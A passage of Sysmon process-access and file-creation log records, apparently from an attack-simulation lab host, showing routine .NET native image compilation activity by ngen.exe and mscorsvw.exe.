gen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:17.810","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4305-5F2D-0000-00109A560F00}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:17.810\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4305-5F2D-0000-00109A560F00}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:17.810","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4305-5F2D-0000-00109A560F00}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:17.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4305-5F2D-0000-00109A560F00}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:17.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4305-5F2D-0000-00109A560F00}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:17.916\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00108AA80E00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:17.916","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00108AA80E00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:17.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00108AA80E00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:17.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00108AA80E00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:17.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4305-5F2D-0000-0010E4590F00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:17.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4305-5F2D-0000-0010E4590F00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:18.479\r\nProcessGuid: {90617006-4305-5F2D-0000-0010E4590F00}\r\nProcessId: 1392\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\570-0\\System.ServiceModel.Internals.dll\r\nCreationUtcTime: 2020-08-07 12:03:18.479","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:18.479","ProcessGuid":"{90617006-4305-5F2D-0000-0010E4590F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\570-0\\System.ServiceModel.Internals.dll","CreationUtcTime":"2020-08-07 12:03:18.479","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:18.541\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00107D5D0F00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:18.541","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00107D5D0F00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:18.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00107D5D0F00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:18.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00107D5D0F00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:18.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00107D5D0F00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 